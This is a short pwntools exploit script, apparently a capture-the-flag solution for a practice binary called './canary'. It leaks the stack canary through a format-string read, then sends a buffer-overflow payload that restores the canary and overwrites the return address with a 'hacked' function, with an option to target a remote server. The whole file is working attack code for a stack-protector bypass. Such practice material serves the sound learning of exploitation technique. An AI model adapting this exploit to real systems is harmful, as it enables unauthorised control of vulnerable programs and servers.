exploit.py

from pwn import *


# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
    if args.GDB:  # Set GDBscript below
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:  # ('server', 'port')
        return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:  # Run locally
        return process([exe] + argv, *a, **kw)


# Specify your GDB script here for debugging
gdbscript = '''
init-pwndbg
break *0x0804921f
break *0x08049253
break *0x0804925e
continue
'''.format(**locals())


# Set up pwntools for the correct architecture
exe = './canary'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Enable verbose logging so we can see exactly what is being sent (info/debug)
context.log_level = 'debug'

# ===========================================================
#                    EXPLOIT GOES HERE
# ===========================================================

# Start program
io = start()

offset = 64  # Canary offset

# Leak canary value (23rd on stack)
io.sendlineafter(b'!', '%{}$p'.format(23).encode())
io.recvline()  # Blank line
canary = int(io.recvline().strip(), 16)
info('canary = 0x%x (%d)', canary, canary)

# Build payload (ret2win)
payload = flat([
    offset * b'A',  # Pad to canary (64)
    canary,  # Our leaked canary (4)
    12 * b'A',  # Pad to Ret pointer (12)
    elf.symbols.hacked  # Ret2win (64 + 4 + 12 = 80)
])

# Send the payload
io.sendlineafter(b':P', payload)

# Get our flag/shell
io.interactive()